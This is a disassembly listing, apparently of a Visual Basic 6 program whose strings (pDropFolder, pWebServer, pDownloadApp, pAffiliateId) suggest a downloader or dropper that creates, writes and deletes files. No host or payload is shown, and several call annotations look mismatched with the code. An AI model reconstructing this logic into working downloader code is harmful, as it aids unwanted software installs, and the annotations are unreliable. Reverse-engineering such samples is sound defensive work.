		dd 3F0006h, 3F0060h, 0C00063h, 3F000Eh,	3F007Eh, 280071h
		dd 2 dup(3F003Fh), 30003Fh, 17003Fh, 5B005Ch, 3F0067h
		dd 3F00F7h, 2F003Fh, 1D003Fh, 71003Fh, 3F006Fh,	590067h
		dd 4E003Fh, 240035h, 40003Fh, 3	dup(3F003Fh), 3E003Fh
		dd 1E006Fh, 3F003Fh, 450043h, 15003Fh, 3F003Fh,	3F0023h
		dd 3F003Fh, 4C007Eh, 3F007Ch, 3D003Fh, 3F003Fh,	43003Fh
		dd 0F003Fh, 3F0032h, 1C003Fh, 3F003Fh, 690042h,	2 dup(3F003Fh)
		dd 3F001Fh, 7C003Fh, 76003Fh, 3F007Ch, 3F003Fh,	3F0048h
		dd 3F002Fh, 12003Fh, 2E0064h, 71001Dh, 3E003Fh,	2D003Bh
		dd 3F003Fh, 120077h, 2 dup(3F003Fh), 5B0005h, 3E003Fh
		dd 3F006Fh, 23003Fh, 1F003Fh, 4F001Ch, 3F005Ch,	7D003Fh
		dd 4E003Fh, 3F003Fh, 2D007Ch, 5F003Fh, 3F0058h,	3F0067h
		dd 2 dup(3F003Fh), 38003Fh, 62003Fh, 3F002Fh, 3003Fh, 3F0045h
		dd 1F003Fh, 3F005Dh, 3F000Fh, 2	dup(3F003Fh), 3F0017h
		dd 1C003Fh, 63007Bh, 3A002Bh, 2	dup(3F003Fh), 3F001Fh
		dd 6A003Fh, 4 dup(3F003Fh), 2F003Fh, 2 dup(3F003Fh), 51003Fh
		dd 2E003Fh, 60003Fh, 3F0073h, 7A0020h, 3F003Fh,	70004Eh
		dd 20003Fh, 39003Fh, 3F003Fh, 7003Fh, 3F00AEh, 2 dup(3F003Fh)
		dd 3F005Dh, 3F001Dh, 59005Fh, 140030h, 13003Fh,	3F0016h
		dd 3F003Fh, 65003Fh, 5F003Fh, 3F00BFh, 2F0045h,	2 dup(3F003Fh)
		dd 3F0068h, 3F003Fh, 3D003Fh, 3F003Fh, 430075h,	7E004Bh
		dd 1D0070h, 75003Fh, 3F003Fh, 5D0067h, 3F0057h,	3F004Ah
		dd 3F0020h, 3F0007h, 2 dup(3F003Fh), 3F0043h, 3F003Eh
		dd 8003Fh, 7B003Fh, 3F0064h, 76003Fh, 2F0032h, 150062h
		dd 39003Fh, 62007Ch, 3F003Fh, 3F0024h, 28003Fh,	380065h
		dd 79007Fh, 5F003Fh, 3F003Fh, 161003Fh,	3F003Fh, 3F003Dh
		dd 2 dup(3F003Fh), 3B003Fh, 35003Fh, 15003Fh, 1F003Fh
		dd 3F003Fh, 76003Fh, 2 dup(3F003Fh), 60007Ch, 2	dup(3F003Fh)
		dd 3F0038h, 3F005Fh, 3F007Bh, 4A003Fh, 7E003Fh,	7D0033h
		dd 740004h, 23002Bh, 3F003Fh, 3F0057h, 2 dup(3F003Fh)
		dd 3F00F8h, 3F003Fh, 3F0010h, 710006h, 3F003Fh,	5D003Fh
		dd 2 dup(3F003Fh), 14003Fh, 3B007Fh, 2 dup(3F003Fh), 4D0050h
		dd 7F003Fh, 4A017Eh, 80066h, 0
		dd 16h,	4, 1, 0
		dd 1730000h, 0FFFFFFFFh, 1, 18h, 750042h, 64006Eh, 65006Ch
		dd 610042h, 650073h, 2E0031h, 0
		dd 2, 2Fh, 0Eh,	3F002Fh, 6F0063h, 650064h, 3Dh,	0A4C466B8h
		dd 101B499Fh, 0AA0078BBh, 0BB3C3800h, 2	dup(0)
		dd 34h,	630053h, 690072h, 740070h, 6E0069h, 2E0067h, 690046h
		dd 65006Ch, 790053h, 740073h, 6D0065h, 62004Fh,	65006Ah
		dd 740063h, 0
aFolderexists:
		unicode	0, <FolderExists>,0
		align 4
aCreatefolder:
		unicode	0, <CreateFolder>,0
		align 4
		dd 14h,	6D0074h, 5A0070h, 460054h, 6C002Eh, 67006Fh, 0
aCreatetextfile:
		unicode	0, <CreateTextFile>,0
		align 10h
aWriteline:
		unicode	0, <WriteLine>,0
aGetfile:
		unicode	0, <GetFile>,0
aDelete:
		unicode	0, <Delete>,0
		align 4
aVba6_dll	db 'VBA6.DLL',0
		align 10h
a__vbavarsetobj	db '__vbaVarSetObjAddref',0
		align 4
a__vbaobjvar	db '__vbaObjVar',0
a__vbalatememca	db '__vbaLateMemCall',0
		align 4
a__vbavarlateme	db '__vbaVarLateMemCallLd',0
		align 10h
a__vbavarsetvar	db '__vbaVarSetVar',0
		align 10h
a__vbaerrorover	db '__vbaErrorOverflow',0
		align 4
a__vbalenbstr	db '__vbaLenBstr',0
		align 8
a__vbai2i4	db '__vbaI2I4',0
		align 4
a__vbastrcmp	db '__vbaStrCmp',0
a__vbai2var	db '__vbaI2Var',0
		align 4
a__vbaonerror	db '__vbaOnError',0
		align 4
a__vbaarymove	db '__vbaAryMove',0
		align 4
a__vbavartsteq	db '__vbaVarTstEq',0
		align 4
a__vbaarydestru	db '__vbaAryDestruct',0
		align 10h
a__vbafileclose	db '__vbaFileClose',0
		align 10h
a__vbaputowner3	db '__vbaPutOwner3',0
		align 10h
a__vbafileopen	db '__vbaFileOpen',0
		align 10h
a__vbavar2vec	db '__vbaVar2Vec',0
		align 10h
a__vbafreestrli	db '__vbaFreeStrList',0
		align 4
a__vbavarcat	db '__vbaVarCat',0
a__vbastrvarval	db '__vbaStrVarVal',0
		align 10h
a__vbavarcopy	db '__vbaVarCopy',0
		align 10h
a__vbavarindexl	db '__vbaVarIndexLoad',0
		align 4
a__vbafreevar	db '__vbaFreeVar',0
		align 4
a__vbavardup	db '__vbaVarDup',0
a__vbavarmove	db '__vbaVarMove',0
		align 10h
a__vbafreevarli	db '__vbaFreeVarList',0
		align 4
a__vbafreeobj	db '__vbaFreeObj',0
		align 4
a__vbaobjset	db '__vbaObjSet',0
		dd 0
a__vbalateidcal	db '__vbaLateIdCallLd',0
		align 4
a__vbastrvarmov	db '__vbaStrVarMove',0
a__vbafreestr	db '__vbaFreeStr',0
		align 4
a__vbahresultch	db '__vbaHresultCheckObj',0
		align 10h
a__vbastrcat	db '__vbaStrCat',0
a__vbastrmove	db '__vbaStrMove',0
		align 4
a__vbastrcopy	db '__vbaStrCopy',0
		align 4
		dd offset loc_402DBF+1
		dd offset loc_402EDE+2
		dd offset loc_402E49+3
		dd offset loc_402E9B+5
		align 10h
		dd offset loc_402E98
		align 8
		dd offset loc_402EAA+2
		align 10h
		dd offset loc_402ECC
		dd offset loc_402ED3+5
		dd offset loc_402E72+2
		dd offset loc_402E80+4
		dd offset loc_402E58
		dd offset loc_402EB8
		dd offset loc_402EC4
		align 10h
		dd offset loc_402E3C+4
		dd offset loc_402E49+3
		dd offset loc_402E58
		dd offset loc_402E64
		dd 7150008h, 0FFFFh, 0
		dd 60030008h, 402C20h, 3 dup(0)
		dd 10101Eh, 7190004h, 0FFFFh, 0
		dd 60030009h, 402C00h, 3 dup(0)
		dd 101Eh, 7010108h, 0FFFFh, 0
		dd 60030003h, 402C10h, 3 dup(0)
		dd 26301Eh, 6FD000Ch, 0FFFFh, 0
		dd 60030002h, 402C28h, 3 dup(0)
		dd 0F0F101Eh, 7110004h,	0FFFFh,	0
		dd 60030007h, 402C04h, 3 dup(0)
		dd 101Eh, 70D010Ch, 0FFFFh, 0
		dd 60030006h, 402C34h, 3 dup(0)
		dd 2330301Eh, 7050108h,	0FFFFh,	0
		dd 60030004h, 402C08h, 3 dup(0)
		dd 23101Eh, 7090108h, 0FFFFh, 0
		dd 60030005h, 402C18h, 3 dup(0)
		dd 30301Eh, 0
		dd offset loc_402D97+1
		dd offset loc_402CBC
		dd offset loc_402C98
		dd offset loc_402D26+2
		dd offset loc_402D4C
		dd offset loc_402D00+4
		dd offset loc_402CDD+3
		dd offset loc_402C4E+2
		dd offset loc_402C72+2
		dd 6F90010h, 0FFFFh, 0
		dd 60030001h, 402C40h, 3 dup(0)
		dd 1010101Eh, 10h, 0
		dd offset loc_40197C
		dd 0FFFFFFFFh, 3 dup(0)
		dd offset loc_402D70
		align 10h
		dd offset loc_402BFC
		dd offset loc_402BFC
		dd offset loc_402BFC
		dd 3 dup(0)
		dd 44h,	4, 0
		dd offset loc_401BC9+3
		dd 0FFFFFFFFh, 0
		dd offset loc_402BFC
		align 10h
		dd 0FFFFFFFFh, 0
		dd offset loc_401D2D+3
		dd offset loc_401CD6+2
		dd offset loc_4062D7+1
		dd offset loc_401DBA+2
		dd offset loc_401D58
		dd offset loc_4062DC
aPgeodnlapp	db 'pGeoDnlApp',0
		align 4
aPdropfolder	db 'pDropFolder',0
aPwebserver	db 'pWebServer',0
		align 4
aPdownloadfolde	db 'pDownloadFolder',0
aPaffiliateid	db 'pAffiliateId',0
		align 4
aPclientapproot	db 'pClientAppRootName',0
		align 4
aPath		db 'path',0
		align 10h
aStrdirname	db 'strDirName',0
		align 4
aFilename	db 'Filename',0
		align 4
aFilepath	db 'filepath',0
		align 4
aFileext	db 'FileExt',0
aPfilepath	db 'pFilePath',0
		align 4
aPmsg		db 'pMsg',0
		align 10h
aPdownloadapp	db 'pDownloadApp',0
		align 10h
		dd 0E9E9E9E9h, 3 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	4011F6h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0E0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-0Ch], esp
		mov	dword ptr [ebp-8], 401128h
		mov	edi, [ebp+8]
		mov	eax, edi
		and	eax, 1
		mov	[ebp-4], eax
		and	edi, 0FFFFFFFEh
		push	edi
		mov	[ebp+8], edi
		mov	ecx, [edi]
		call	dword ptr [ecx+4]
		mov	esi, dword ptr ds:loc_4010CF+1
		xor	eax, eax
		mov	edx, offset sub_401E78
		lea	ecx, [ebp-24h]
		mov	[ebp-18h], eax
		mov	[ebp-1Ch], eax
		mov	[ebp-20h], eax
		mov	[ebp-24h], eax
		mov	[ebp-28h], eax
		mov	[ebp-2Ch], eax
		mov	[ebp-30h], eax
		mov	[ebp-34h], eax
		mov	[ebp-44h], eax
		mov	[ebp-48h], eax
		mov	[ebp-4Ch], eax
		mov	[ebp-5Ch], eax
		mov	[ebp-6Ch], eax
		mov	[ebp-70h], eax
		mov	[ebp-74h], eax
		mov	[ebp-78h], eax
		mov	[ebp-7Ch], eax
		mov	[ebp-80h], eax
		mov	[ebp-84h], eax
		mov	[ebp-88h], eax
		mov	[ebp-8Ch], eax
		mov	[ebp-90h], eax
		mov	[ebp-0A0h], eax
		mov	[ebp-0B0h], eax
		mov	[ebp-0C0h], eax
		mov	[ebp-0D0h], eax
		mov	[ebp-0E0h], eax
		mov	[ebp-0E4h], eax
		call	esi	; SetErrorMode
		mov	edx, offset sub_401E88
		lea	ecx, [ebp-34h]
		call	esi	; SetErrorMode
		mov	edx, offset sub_401E9C ; jumptable 0040148C case 41
		lea	ecx, [ebp-78h]
		call	esi	; SetErrorMode
		mov	edx, 401EA8h
		lea	ecx, [ebp-74h]
		call	esi	; SetErrorMode
		mov	edx, [ebp-74h]
		mov	esi, dword ptr ds:loc_401026+2
		push	401EC4h
		push	edx
		call	esi	; SetErrorMode
		mov	ebx, dword ptr ds:loc_401105+3
		mov	edx, eax
		lea	ecx, [ebp-30h]
		call	ebx	; GetShortPathNameA
		mov	edx, offset sub_401EE4
		lea	ecx, [ebp-1Ch]
		call	dword ptr ds:loc_4010CF+1
		mov	edx, 401EF8h
		lea	ecx, [ebp-20h]
		call	dword ptr ds:loc_4010CF+1
		mov	edx, 401F08h
		lea	ecx, [ebp-18h]
		call	dword ptr ds:loc_4010CF+1
		mov	edx, 401F14h
		lea	ecx, [ebp-48h]
		call	dword ptr ds:loc_4010CF+1
		mov	edx, 401F54h
		lea	ecx, [ebp-7Ch]
		call	dword ptr ds:loc_4010CF+1
		mov	eax, [edi]
		lea	ecx, [ebp-0E4h]
		lea	edx, [ebp-7Ch]
		push	ecx
		push	edx
		push	edi
		call	dword ptr [eax+700h]
		test	eax, eax
		jge	short loc_40FC73
		push	700h
		push	401CC8h
		push	edi
		push	eax
		call	dword ptr ds:loc_40102C

loc_40FC73:				; CODE XREF: .data:0040FC5Fj
		xor	eax, eax
		cmp	word ptr [ebp-0E4h], 0FFFFh
		lea	ecx, [ebp-7Ch]
		setz	al
		neg	eax
		mov	[ebp-0ECh], eax
		call	dword ptr ds:loc_401118
		cmp	word ptr [ebp-0ECh], 0
		jz	short loc_40FCB0
		mov	edx, offset sub_401F90
		lea	ecx, [ebp-70h]
		call	dword ptr ds:loc_4010CF+1
		mov	edx, offset sub_401FA0
		jmp	short loc_40FCC3
; ---------------------------------------------------------------------------

loc_40FCB0:				; CODE XREF: .data:0040FC99j
		mov	edx, offset sub_401FB0
		lea	ecx, [ebp-70h]
		call	dword ptr ds:loc_4010CF+1
		mov	edx, offset sub_401FCC

loc_40FCC3:				; CODE XREF: .data:0040FCAEj
		lea	ecx, [ebp-4Ch]
		call	dword ptr ds:loc_4010CF+1
		mov	ecx, [edi]
		lea	edx, [ebp-0E4h]
		lea	eax, [ebp-30h]
		push	edx
		push	eax
		push	edi
		call	dword ptr [ecx+700h]
		test	eax, eax
		jge	short loc_40FCF6
		push	700h
		push	401CC8h
		push	edi
		push	eax
		call	dword ptr ds:loc_40102C

loc_40FCF6:				; CODE XREF: .data:0040FCE2j
		cmp	word ptr [ebp-0E4h], 0
		jnz	loc_410559
		mov	ecx, [ebp-48h]
		push	401FE0h
		push	ecx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-7Ch]
		call	ebx	; GetShortPathNameA
		push	eax
		push	401FF4h
		call	esi	; SetErrorMode
		sub	esp, 10h
		mov	ecx, 8
		mov	edx, esp
		mov	[ebp-0A0h], ecx
		mov	[ebp-98h], eax
		push	1
		mov	[edx], ecx
		mov	ecx, [ebp-9Ch]
		push	16h
		push	edi
		mov	[edx+4], ecx
		mov	ecx, [edi]
		mov	[edx+8], eax
		mov	eax, [ebp-94h]
		mov	[edx+0Ch], eax
		call	dword ptr [ecx+2FCh]
		lea	edx, [ebp-90h]
		push	eax
		push	edx
		call	dword ptr ds:loc_401038
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		call	dword ptr ds:loc_401077+1
		add	esp, 20h
		push	eax
		call	dword ptr ds:loc_401013+1
		mov	edx, eax
		lea	ecx, [ebp-28h]
		call	ebx	; GetShortPathNameA
		lea	ecx, [ebp-7Ch]
		call	dword ptr ds:loc_401118
		lea	ecx, [ebp-90h]
		call	dword ptr ds:loc_401118+4
		lea	ecx, [ebp-0B0h]
		lea	edx, [ebp-0A0h]
		push	ecx
		push	edx
		push	2
		call	dword ptr ds:loc_401019+3
		add	esp, 0Ch
		lea	edx, [ebp-0C0h]
		lea	ecx, [ebp-0A0h]
		mov	dword ptr [ebp-0B8h], offset sub_402024
		mov	dword ptr [ebp-0C0h], 8
		call	dword ptr ds:loc_4010F3+1
		mov	ecx, [ebp-28h]
		push	0
		lea	eax, [ebp-0A0h]
		push	0FFFFFFFFh
		push	eax
		lea	edx, [ebp-0B0h]
		push	ecx
		push	edx
		call	dword ptr ds:loc_40108F+1
		lea	edx, [ebp-0B0h]
		lea	ecx, [ebp-6Ch]
		call	dword ptr ds:loc_401006+2
		mov	ebx, dword ptr ds:loc_40100C
		lea	ecx, [ebp-0A0h]
		call	ebx	; GetShortPathNameA
		sub	esp, 10h
		mov	ecx, 2
		mov	edx, esp
		mov	eax, 1
		mov	[ebp-0C0h], ecx
		mov	[ebp-0B8h], eax
		mov	[edx], ecx
		mov	ecx, [ebp-0BCh]
		mov	dword ptr [ebp-0D8h], 40202Ch
		mov	dword ptr [ebp-0E0h], 8008h
		mov	[edx+4], ecx
		lea	ecx, [ebp-6Ch]
		push	1
		push	ecx
		mov	[edx+8], eax
		mov	eax, [ebp-0B4h]
		mov	[edx+0Ch], eax
		lea	edx, [ebp-0A0h]
		push	edx
		call	dword ptr ds:loc_401047+1
		add	esp, 1Ch
		push	eax
		lea	eax, [ebp-0E0h]
		push	eax
		call	dword ptr ds:loc_401064
		lea	ecx, [ebp-0A0h]
		mov	[ebp-0E8h], ax
		call	ebx	; GetShortPathNameA
		cmp	word ptr [ebp-0E8h], 0
		jz	short loc_40FEB8
		lea	edx, [ebp-0C0h]
		lea	ecx, [ebp-44h]
		mov	dword ptr [ebp-0B8h], offset sub_402038
		mov	dword ptr [ebp-0C0h], 8
		call	dword ptr ds:loc_4010F6+2

loc_40FEB8:				; CODE XREF: .data:0040FE93j
		sub	esp, 10h
		mov	ecx, 2
		mov	edx, esp
		mov	[ebp-0C0h], ecx
		mov	eax, 1
		push	1
		mov	[edx], ecx
		mov	ecx, [ebp-0BCh]
		mov	[ebp-0B8h], eax
		mov	dword ptr [ebp-0D8h], offset sub_402050
		mov	[edx+4], ecx
		lea	ecx, [ebp-6Ch]
		push	ecx
		mov	dword ptr [ebp-0E0h], 8008h
		mov	[edx+8], eax
		mov	eax, [ebp-0B4h]
		mov	[edx+0Ch], eax
		lea	edx, [ebp-0A0h]
		push	edx
		call	dword ptr ds:loc_401047+1
		add	esp, 1Ch
		push	eax
		lea	eax, [ebp-0E0h]
		push	eax
		call	dword ptr ds:loc_401064
		lea	ecx, [ebp-0A0h]
		mov	[ebp-0E8h], ax
		call	ebx	; GetShortPathNameA
		cmp	word ptr [ebp-0E8h], 0
		jz	short loc_40FF5E
		lea	edx, [ebp-0C0h]
		lea	ecx, [ebp-44h]
		mov	dword ptr [ebp-0B8h], 40205Ch
		mov	dword ptr [ebp-0C0h], 8
		call	dword ptr ds:loc_4010F6+2

loc_40FF5E:				; CODE XREF: .data:0040FF39j
		sub	esp, 10h
		mov	ecx, 2
		mov	edx, esp
		mov	[ebp-0C0h], ecx
		mov	eax, 1
		push	1
		mov	[edx], ecx
		mov	ecx, [ebp-0BCh]
		mov	[ebp-0B8h], eax
		mov	dword ptr [ebp-0D8h], 402074h
		mov	[edx+4], ecx
		lea	ecx, [ebp-6Ch]
		push	ecx
		mov	dword ptr [ebp-0E0h], 8008h
		mov	[edx+8], eax
		mov	eax, [ebp-0B4h]
		mov	[edx+0Ch], eax
		lea	edx, [ebp-0A0h]
		push	edx
		call	dword ptr ds:loc_401047+1
		add	esp, 1Ch
		push	eax
		lea	eax, [ebp-0E0h]
		push	eax
		call	dword ptr ds:loc_401064
		lea	ecx, [ebp-0A0h]
		mov	[ebp-0E8h], ax
		call	ebx	; GetShortPathNameA
		cmp	word ptr [ebp-0E8h], 0
		jz	short loc_410004
		lea	edx, [ebp-0C0h]
		lea	ecx, [ebp-44h]
		mov	dword ptr [ebp-0B8h], 402080h
		mov	dword ptr [ebp-0C0h], 8
		call	dword ptr ds:loc_4010F6+2

loc_410004:				; CODE XREF: .data:0040FFDFj
		sub	esp, 10h
		mov	ecx, 2
		mov	edx, esp
		mov	[ebp-0C0h], ecx
		mov	eax, 1
		push	1
		mov	[edx], ecx
		mov	ecx, [ebp-0BCh]
		mov	[ebp-0B8h], eax
		mov	dword ptr [ebp-0D8h], 402098h
		mov	[edx+4], ecx
		lea	ecx, [ebp-6Ch]
		push	ecx
		mov	dword ptr [ebp-0E0h], 8008h
		mov	[edx+8], eax
		mov	eax, [ebp-0B4h]
		mov	[edx+0Ch], eax
		lea	edx, [ebp-0A0h]
		push	edx
		call	dword ptr ds:loc_401047+1
		add	esp, 1Ch
		push	eax
		lea	eax, [ebp-0E0h]
		push	eax
		call	dword ptr ds:loc_401064
		lea	ecx, [ebp-0A0h]
		mov	[ebp-0E8h], ax
		call	ebx	; GetShortPathNameA
		cmp	word ptr [ebp-0E8h], 0
		jz	short loc_4100AA
		lea	edx, [ebp-0C0h]
		lea	ecx, [ebp-44h]
		mov	dword ptr [ebp-0B8h], offset sub_4020A8
		mov	dword ptr [ebp-0C0h], 8
		call	dword ptr ds:loc_4010F6+2

loc_4100AA:				; CODE XREF: .data:00410085j
		sub	esp, 10h
		mov	ecx, 2
		mov	edx, esp
		mov	[ebp-0C0h], ecx
		mov	eax, 1
		push	1
		mov	[edx], ecx
		mov	ecx, [ebp-0BCh]
		mov	[ebp-0B8h], eax
		mov	dword ptr [ebp-0D8h], offset sub_4020C0
		mov	[edx+4], ecx
		lea	ecx, [ebp-6Ch]
		push	ecx
		mov	dword ptr [ebp-0E0h], 8008h
		mov	[edx+8], eax
		mov	eax, [ebp-0B4h]
		mov	[edx+0Ch], eax
		lea	edx, [ebp-0A0h]
		push	edx
		call	dword ptr ds:loc_401047+1
		add	esp, 1Ch
		push	eax
		lea	eax, [ebp-0E0h]
		push	eax
		call	dword ptr ds:loc_401064
		lea	ecx, [ebp-0A0h]
		mov	[ebp-0E8h], ax
		call	ebx	; GetShortPathNameA
		cmp	word ptr [ebp-0E8h], 0
		jz	short loc_410150
		lea	edx, [ebp-0C0h]
		lea	ecx, [ebp-44h]
		mov	dword ptr [ebp-0B8h], 4020D0h
		mov	dword ptr [ebp-0C0h], 8
		call	dword ptr ds:loc_4010F6+2

loc_410150:				; CODE XREF: .data:0041012Bj
		mov	ecx, [ebp-1Ch]
		mov	edx, [ebp-48h]
		mov	eax, [ebp-20h]
		mov	ebx, [edi]
		push	ecx
		push	edx
		lea	ecx, [ebp-44h]
		push	eax
		lea	edx, [ebp-7Ch]
		push	ecx
		push	edx
		call	dword ptr ds:loc_4010A4
		push	eax
		push	edi
		call	dword ptr [ebx+6F8h]
		test	eax, eax
		jge	short loc_41018A
		push	6F8h
		push	401CC8h
		push	edi
		push	eax
		call	dword ptr ds:loc_40102C

loc_41018A:				; CODE XREF: .data:00410176j
		mov	ebx, dword ptr ds:loc_401118
		lea	ecx, [ebp-7Ch]
		call	ebx	; GetShortPathNameA
		mov	eax, [ebp-20h]
		push	offset sub_4020E8
		push	eax
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-7Ch]
		call	dword ptr ds:loc_401105+3
		push	eax
		push	offset sub_4020F4
		call	esi	; SetErrorMode
		lea	ecx, [ebp-0A0h]
		mov	[ebp-98h], eax
		push	1
		lea	edx, [ebp-44h]
		push	ecx
		lea	eax, [ebp-0B0h]
		push	edx
		push	eax
		mov	dword ptr [ebp-0A0h], 8
		call	dword ptr ds:loc_4010A7+1
		push	eax
		call	dword ptr ds:loc_40107F+1
		fstp	qword ptr [ebp-0B8h]
		lea	edx, [ebp-0C0h]
		lea	ecx, [ebp-5Ch]
		mov	dword ptr [ebp-0C0h], 5
		call	dword ptr ds:loc_401006+2
		lea	ecx, [ebp-7Ch]
		call	ebx	; GetShortPathNameA
		lea	ecx, [ebp-0B0h]
		lea	edx, [ebp-0A0h]
		push	ecx
		push	edx
		push	2
		call	dword ptr ds:loc_401019+3
		mov	ecx, 8
		mov	eax, [ebp-48h]
		push	ecx
		mov	[ebp-0C0h], ecx
		mov	ebx, esp
		mov	edx, [ebp-34h]
		sub	esp, 10h
		mov	[ebp-0B8h], edx
		mov	[ebx], ecx
		mov	ecx, [ebp-0CCh]
		mov	edx, [edi]
		mov	[ebx+4], ecx
		mov	ecx, esp
		mov	[ebx+8], eax
		mov	eax, [ebp-0C4h]
		mov	[ebx+0Ch], eax
		mov	eax, [ebp-0C0h]
		mov	[ecx], eax
		mov	eax, [ebp-0BCh]
		mov	[ecx+4], eax
		mov	eax, [ebp-0B8h]
		mov	[ecx+8], eax
		mov	eax, [ebp-0B4h]
		mov	[ecx+0Ch], eax
		mov	ecx, [ebp-24h]
		push	ecx
		push	edi
		call	dword ptr [edx+6FCh]
		test	eax, eax
		jge	short loc_41029A
		push	6FCh
		push	401CC8h
		push	edi
		push	eax
		call	dword ptr ds:loc_40102C

loc_41029A:				; CODE XREF: .data:00410286j
		mov	edx, 4020FCh
		lea	ecx, [ebp-2Ch]
		call	dword ptr ds:loc_4010CF+1
		mov	edx, [ebp-2Ch]
		mov	eax, [ebp-20h]
		mov	ebx, [edi]
		push	edx
		push	offset sub_4020E8
		push	eax
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-7Ch]
		call	dword ptr ds:loc_401105+3
		push	eax
		push	offset sub_4020F4
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-80h]
		call	dword ptr ds:loc_401105+3
		mov	ecx, [ebp-18h]
		push	eax
		push	ecx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-84h]
		call	dword ptr ds:loc_401105+3
		push	eax
		push	offset sub_4020F4
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-88h]
		call	dword ptr ds:loc_401105+3
		push	eax
		push	edi
		call	dword ptr [ebx+714h]
		test	eax, eax
		jge	short loc_410320
		push	714h
		push	401CC8h
		push	edi
		push	eax
		call	dword ptr ds:loc_40102C

loc_410320:				; CODE XREF: .data:0041030Cj
		lea	edx, [ebp-88h]
		lea	eax, [ebp-84h]
		push	edx
		lea	ecx, [ebp-80h]
		push	eax
		lea	edx, [ebp-7Ch]
		push	ecx
		push	edx
		push	4
		call	dword ptr ds:loc_4010D5+3
		mov	eax, [ebp-20h]
		add	esp, 14h
		push	offset sub_4020E8
		push	eax
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-7Ch]
		call	dword ptr ds:loc_401105+3
		push	eax
		push	offset sub_4020F4
		call	esi	; SetErrorMode
		mov	ebx, [edi]
		lea	ecx, [ebp-0A0h]
		mov	[ebp-98h], eax
		lea	edx, [ebp-44h]
		push	ecx
		lea	eax, [ebp-0B0h]
		push	edx
		push	eax
		mov	dword ptr [ebp-0A0h], 8
		call	dword ptr ds:loc_4010A7+1
		lea	ecx, [ebp-80h]
		push	eax
		push	ecx
		call	dword ptr ds:loc_4010A4
		push	eax
		push	edi
		call	dword ptr [ebx+718h]
		test	eax, eax
		jge	short loc_4103B2
		push	718h
		push	401CC8h
		push	edi
		push	eax
		call	dword ptr ds:loc_40102C

loc_4103B2:				; CODE XREF: .data:0041039Ej
		lea	edx, [ebp-80h]
		lea	eax, [ebp-7Ch]
		push	edx
		push	eax
		push	2
		call	dword ptr ds:loc_4010D5+3
		lea	ecx, [ebp-0B0h]
		lea	edx, [ebp-0A0h]
		push	ecx
		push	edx
		push	2
		call	dword ptr ds:loc_401019+3
		mov	eax, [ebp-20h]
		add	esp, 18h
		push	offset sub_4020E8
		push	eax
		call	esi	; SetErrorMode
		mov	ebx, dword ptr ds:loc_401105+3
		mov	edx, eax
		lea	ecx, [ebp-7Ch]
		call	ebx	; GetShortPathNameA
		push	eax
		push	offset sub_4020F4
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-80h]
		call	ebx	; GetShortPathNameA
		mov	ecx, [ebp-78h]
		push	eax
		push	ecx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-84h]
		call	ebx	; GetShortPathNameA
		mov	edx, [ebp-24h]
		push	eax
		push	edx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-88h]
		call	ebx	; GetShortPathNameA
		push	eax
		push	offset sub_401F34
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-8Ch]
		call	ebx	; GetShortPathNameA
		mov	eax, [edi]
		lea	ecx, [ebp-0E4h]
		lea	edx, [ebp-8Ch]
		push	ecx
		push	edx
		push	edi
		call	dword ptr [eax+700h]
		test	eax, eax
		jge	short loc_410463
		push	700h
		push	401CC8h
		push	edi
		push	eax
		call	dword ptr ds:loc_40102C

loc_410463:				; CODE XREF: .data:0041044Fj
		lea	eax, [ebp-8Ch]
		lea	ecx, [ebp-88h]
		xor	ebx, ebx
		cmp	word ptr [ebp-0E4h], 0FFFFh
		push	eax
		lea	edx, [ebp-84h]
		push	ecx
		lea	eax, [ebp-80h]
		push	edx
		lea	ecx, [ebp-7Ch]
		push	eax
		push	ecx
		setz	bl
		push	5
		neg	ebx
		call	dword ptr ds:loc_4010D5+3
		add	esp, 18h
		test	bx, bx
		jz	loc_410802
		mov	edx, [ebp-20h]
		mov	ebx, [edi]
		push	offset sub_4020E8
		push	edx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-7Ch]
		call	dword ptr ds:loc_401105+3
		push	eax
		push	offset sub_4020F4
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-80h]
		call	dword ptr ds:loc_401105+3
		push	eax
		mov	eax, [ebp-78h]
		push	eax
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-84h]
		call	dword ptr ds:loc_401105+3
		mov	ecx, [ebp-24h]
		push	eax
		push	ecx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-88h]
		call	dword ptr ds:loc_401105+3
		push	eax
		push	offset sub_401F34
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-8Ch]
		call	dword ptr ds:loc_401105+3
		push	eax
		push	edi
		call	dword ptr [ebx+718h]
		test	eax, eax
		jge	short loc_41052C
		push	718h
		push	401CC8h
		push	edi
		push	eax
		call	dword ptr ds:loc_40102C

loc_41052C:				; CODE XREF: .data:00410518j
		lea	edx, [ebp-8Ch]
		lea	eax, [ebp-88h]
		push	edx
		lea	ecx, [ebp-84h]
		push	eax
		lea	edx, [ebp-80h]
		push	ecx
		lea	eax, [ebp-7Ch]
		push	edx
		push	eax
		push	5
		call	dword ptr ds:loc_4010D5+3
		add	esp, 18h
		jmp	loc_410802
; ---------------------------------------------------------------------------

loc_410559:				; CODE XREF: .data:0040FCFEj
		mov	ecx, [ebp-20h]
		push	offset sub_4020E8
		push	ecx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-7Ch]
		call	ebx	; GetShortPathNameA
		push	eax
		push	offset sub_401F44
		call	esi	; SetErrorMode
